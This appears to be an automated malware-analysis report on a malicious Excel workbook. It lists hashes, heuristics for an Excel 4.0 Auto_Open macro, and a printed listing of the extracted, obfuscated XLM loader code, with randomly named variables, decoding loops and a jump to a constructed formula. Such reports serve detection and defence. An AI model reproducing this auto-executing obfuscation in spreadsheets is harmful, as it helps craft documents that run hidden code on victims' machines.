Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 54360a5b10712b14…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:04 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 03efe555a747cd6c07939fbe9addedd8 SHA-1: 24a7f84017e52b4685c96a67e4372fcb95bc4272 SHA-256: 54360a5b10712b14ee8dc5425f32434ac87c0edc095ec64e6eedc686afcfba92
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6826 bytes
SHA-256: 8189b294a515fe7f39d8f145f2b550daf4c554e62b92b6842ca52e6a4736541e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wcFPsjoFT
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D171 
' 0018     25 LABEL : Cell Value, String Constant - BhdGTxOyDc len=0 
' 0018     23 LABEL : Cell Value, String Constant - BwoLMkIc len=0 
' 0018     22 LABEL : Cell Value, String Constant - dRnliMO len=0 
' 0018     26 LABEL : Cell Value, String Constant - fccIIbvOxws len=0 
' 0018     20 LABEL : Cell Value, String Constant - iSuRI len=0 
' 0018     21 LABEL : Cell Value, String Constant - iWTThs len=0 
' 0018     25 LABEL : Cell Value, String Constant - jAEPKTEYrQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - JJIloxwDLO len=0 
' 0018     27 LABEL : Cell Value, String Constant - KkezeVOVmTiS len=0 
' 0018     27 LABEL : Cell Value, String Constant - lXrzndqaycBV len=0 
' 0018     22 LABEL : Cell Value, String Constant - mNCyHht len=0 
' 0018     25 LABEL : Cell Value, String Constant - njJbMyrUpN len=0 
' 0018     24 LABEL : Cell Value, String Constant - tpjBQnbrv len=0 
' 0018     26 LABEL : Cell Value, String Constant - TYOTadZTGeC len=0 
' 0018     20 LABEL : Cell Value, String Constant - UgJVy len=0 
' 0018     22 LABEL : Cell Value, String Constant - UVCemNi len=0 
' 0018     25 LABEL : Cell Value, String Constant - vIzdObQdgD len=0 
' 0018     22 LABEL : Cell Value, String Constant - WKZCvri len=0 
' 0018     24 LABEL : Cell Value, String Constant - xUnaqUFpb len=0 
' 0018     27 LABEL : Cell Value, String Constant - yAIwONYUeJDN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wcFPsjoFT,P54,"",-456.00000000000000000000
'  wcFPsjoFT,P55,"",-449.00000000000000000000
'  wcFPsjoFT,P56,"",-332.00000000000000000000
'  wcFPsjoFT,P57,"",-760.00000000000000000000
'  wcFPsjoFT,P58,"",687.00000000000000000000
'  wcFPsjoFT,P59,"",424.00000000000000000000
'  wcFPsjoFT,D74,"SET.NAME("KkezeVOVmTiS",0+VALUE("0"))",""
'  wcFPsjoFT,D77,"SET.NAME("UVCemNi",KkezeVOVmTiS)",""
'  wcFPsjoFT,D81,"SET.NAME("lXrzndqaycBV",KkezeVOVmTiS)",""
'  wcFPsjoFT,D83,"SET.NAME("vIzdObQdgD",COUNTA(BwoLMkIc))",""
'  wcFPsjoFT,D87,"SET.NAME("dRnliMO",COUNTA(mNCyHht))",""
'  wcFPsjoFT,D92,[],""
'  wcFPsjoFT,D95,"SET.NAME("tpjBQnbrv","")",""
'  wcFPsjoFT,D100,"UVCemNi",""
'  wcFPsjoFT,D102,"SET.NAME("WKZCvri",HLOOKUP("*",BwoLMkIc,UVCemNi,FALSE))",""
'  wcFPsjoFT,D106,"iWTThs",""
'  wcFPsjoFT,D108,"SET.NAME("TYOTadZTGeC",KkezeVOVmTiS)",""
'  wcFPsjoFT,D113,[],""
'  wcFPsjoFT,D116,"TYOTadZTGeC",""
'  wcFPsjoFT,D119,"xUnaqUFpb",""
'  wcFPsjoFT,D123,"jAEPKTEYrQ",""
'  wcFPsjoFT,D125,"njJbMyrUpN",""
'  wcFPsjoFT,D130,"SET.NAME("iSuRI",VALUE(HLOOKUP("*",mNCyHht,njJbMyrUpN,FALSE)))",""
'  wcFPsjoFT,D135,"JJIloxwDLO",""
'  wcFPsjoFT,D140,"tpjBQnbrv",""
'  wcFPsjoFT,D145,"lXrzndqaycBV",""
'  wcFPsjoFT,D147,NEXT(),""
'  wcFPsjoFT,D151,"UgJVy",""
'  wcFPsjoFT,D156,[],""
'  wcFPsjoFT,D159,"yAIwONYUeJDN",""
'  wcFPsjoFT,D164,NEXT(),""
'  wcFPsjoFT,D167,RETURN(),""
'  wcFPsjoFT,D197,"SET.NAME("BhdGTxOyDc",D74)",""
'  wcFPsjoFT,D202,"BwoLMkIc",""
'  wcFPsjoFT,D206,"SET.NAME("mNCyHht",R86C14)",""
'  wcFPsjoFT,D209,"SET.NAME("yAIwONYUeJDN",215)",""
'  wcFPsjoFT,D212,"SET.NAME("fccIIbvOxws",4)",""
'  wcFPsjoFT,D214,BhdGTxOyDc(),""
'  wcFPsjoFT,D215,HALT(),""

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